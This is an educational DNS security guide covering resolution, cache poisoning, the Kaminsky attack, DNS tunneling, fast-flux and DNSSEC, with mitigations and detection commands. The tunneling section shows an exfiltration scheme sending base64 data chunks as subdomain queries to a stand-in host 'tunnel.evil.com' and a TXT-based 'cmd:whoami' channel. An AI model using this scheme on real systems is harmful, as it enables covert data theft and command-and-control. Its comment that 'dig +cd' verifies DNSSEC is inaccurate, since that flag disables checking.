DNS Security Deep Dive

The Phonebook of the Internet — and Its Attack Surface

DNS (Domain Name System) translates human-readable domain names (example.com) into IP addresses (93.184.216.34). It is one of the most critical infrastructure protocols — if DNS fails, the internet appears to be down even though the underlying network is fine. It is also one of the most attacked protocols because it was designed in an era when the internet was a trusted network.

The Resolution Process

When a user types example.com into their browser, the following sequence occurs:

1. Local cache check: The operating system checks its local DNS cache. If the answer is cached and has not expired (per the TTL), it returns immediately.

2. Recursive resolver query: If not cached, the OS sends a query to the configured recursive resolver (usually the ISP's resolver or a public resolver like 8.8.8.8 or 1.1.1.1).

3. Root server query: The recursive resolver queries one of 13 root server clusters (a.root-servers.net through m.root-servers.net) for the authoritative server for the .com TLD.

4. TLD server query: The recursive resolver queries the .com TLD server for the authoritative server for example.com.

5. Authoritative server query: The recursive resolver queries the authoritative server for example.com, which returns the A record (IPv4 address) or AAAA record (IPv6 address).

6. Response caching: The recursive resolver caches the answer for the TTL duration and returns it to the client.

# Trace the full resolution path
dig +trace example.com

# Query specific record types
dig example.com A
dig example.com AAAA
dig example.com MX
dig example.com TXT
dig example.com NS

# Query a specific resolver
dig @8.8.8.8 example.com

Where Attacks Occur in the Resolution Chain

Each step in the resolution process is a potential attack point:

Attack 1: Local cache poisoning
An attacker with access to the local machine (or network segment) can modify the local DNS cache (e.g., the hosts file on Windows/Linux) to redirect domain lookups to malicious IPs.

# Check the local hosts file for unauthorized entries
# Linux/macOS:
cat /etc/hosts
# Windows:
type C:\Windows\System32\etc\hosts

Attack 2: Resolver compromise
If an attacker compromises the recursive resolver, they can return forged answers for any domain. This affects every user of that resolver.

Attack 3: Cache poisoning (Kaminsky attack)
The attacker floods the recursive resolver with forged responses for a non-existent subdomain (e.g., random123.example.com), hoping to guess the transaction ID and source port before the legitimate response arrives. If successful, the forged answer is cached and returned to all users of that resolver.

Attack 4: Man-in-the-middle on the resolver-to-authoritative path
An attacker who can intercept traffic between the recursive resolver and the authoritative server can forge responses. This is why DNS over TLS (DoT) and DNS over HTTPS (DoH) were developed.

Attack 5: Authoritative server compromise
If the attacker compromises the authoritative DNS server, they can change the IP address for any domain, redirecting all users to malicious servers.

DNS Record Types and Their Security Relevance

The most security-critical records are A/AAAA (traffic redirection), MX (email redirection), TXT (email authentication bypass), and NS (domain hijacking).

Three Attacks That Exploit DNS Fundamentals

DNS Cache Poisoning (Kaminsky Attack)

In 2008, Dan Kaminsky disclosed a fundamental flaw in DNS that made cache poisoning trivially exploitable. The attack works because:

1. DNS uses a 16-bit transaction ID (only 65,536 possible values) for matching responses to queries.
2. The source port for queries was traditionally predictable (fixed at the resolver).
3. DNS responses are accepted without authentication.

The attack:

1. Attacker sends a query to the victim resolver for a non-existent subdomain:
   random12345.example.com

2. The resolver forwards this to the authoritative server for example.com.

3. Attacker floods the resolver with forged responses for random12345.example.com,
   each with a different transaction ID and a forged answer pointing to an IP
   controlled by the attacker.

4. If the attacker guesses the correct transaction ID before the legitimate
   response arrives, the forged answer is cached.

5. The forged answer includes an NS record for example.com pointing to the
   attacker's server, so the attacker controls DNS for the entire domain.

Mitigations:

• Source port randomization: Modern resolvers use random source ports, increasing the entropy from 16 bits to approximately 32 bits.
• 0x20 encoding: Randomizing the case of domain names in queries adds additional entropy.
• DNSSEC: Cryptographically signs DNS records so resolvers can detect forged answers.
• Rate limiting: Limiting the rate of queries for non-existent domains.

DNS Tunneling

DNS tunneling encapsulates data within DNS queries and responses, creating a covert communication channel that bypasses most firewalls (which typically allow outbound DNS on port 53).

How it works:

# The attacker sets up an authoritative server for a domain they control,
# e.g., tunnel.evil.com

# Data to exfiltrate is encoded (base64, hex) and split into chunks:
# Chunk 1: dGhpcyBpcyBhIHRlc3Q
# Chunk 2: ofIGRhdGE=

# Each chunk is sent as a subdomain query:
# dGhpcyBpcyBhIHRlc3Q.tunnel.evil.com
# ofIGRhdGE=.tunnel.evil.com

# The attacker's authoritative server receives the queries, decodes the
# subdomains, and reassembles the original data.

# For command-and-control, the response (TXT record) contains commands:
# TXT response: "cmd:whoami"

Detection:

# Analyze DNS query patterns for tunneling indicators:
# 1. Unusually long subdomains
dig tunnel.evil.com | grep -E '^[a-zA-Z0-9]{40,}'

# 2. High volume of queries to a single domain
# 3. Queries for TXT records (rare in normal traffic)
# 4. High entropy in subdomain names (random-looking strings)
# 5. Queries from a single host to many subdomains of the same domain

# Calculate entropy of subdomain names:
python3 -c "
import math
from collections import Counter
def entropy(s):
    counts = Counter(s)
    length = len(s)
    return -sum((c/length) * math.log2(c/length) for c in counts.values())
print(entropy('dGhpcyBpcyBhIHRlc3Q'))
print(entropy('www'))
"

Mitigations:

• Block outbound DNS except to authorized resolvers
• Monitor DNS query volume and entropy per host
• Use DNS filtering to block known tunneling domains
• Implement egress filtering to block direct DNS queries to external servers

Fast-Flux DNS

Fast-flux is a technique used by botnets and phishing operations to hide malicious infrastructure behind a constantly changing set of IP addresses.

Single-flux: The domain name resolves to a different IP address every few minutes. The IPs are compromised hosts (bots) that proxy traffic to the real command-and-control server.

Double-flux: Both the A records (IP addresses) and the NS records (authoritative servers) change rapidly. This makes it even harder to track and shut down the infrastructure.

# Detect fast-flux: query the same domain repeatedly and observe IP changes
for i in $(seq 1 10); do
  dig +short example.com
  sleep 60
done
# If the IP changes every time, it may be fast-flux

Mitigations:

• Monitor DNS responses for unusually low TTL values (fast-flux uses TTLs of 60-300 seconds)
• Correlate DNS responses with threat intelligence feeds
• Use DNS reputation systems to flag domains with rapidly changing IPs
• Implement domain age checks — newly registered domains with fast-flux behavior are highly suspicious

DNSSEC: Cryptographic Integrity for DNS

DNSSEC (DNS Security Extensions) adds cryptographic signatures to DNS records, allowing resolvers to verify that responses have not been tampered with.

How DNSSEC works:

1. The zone owner signs each DNS record with a private key, creating a RRSIG (Resource Record Signature).
2. The public key is published in a DNSKEY record.
3. A chain of trust is established from the root zone down through TLDs to individual domains using DS (Delegation Signer) records.
4. When a resolver receives a DNS response, it verifies the signature using the public key.
5. If the signature is invalid, the resolver discards the response.

# Check if a domain has DNSSEC enabled
dig +dnssec example.com

# Verify DNSSEC validation
dig +cd +dnssec example.com
# The 'ad' (authentic data) flag in the response indicates validation succeeded

Limitations of DNSSEC:

• DNSSEC provides integrity and authenticity, not confidentiality — DNS queries and responses are still transmitted in plaintext.
• DNSSEC is complex to deploy and manage, leading to low adoption.
• DNSSEC does not prevent DNS tunneling or fast-flux — it only prevents record forgery.
• DNSSEC increases response sizes, which can be abused for amplification attacks.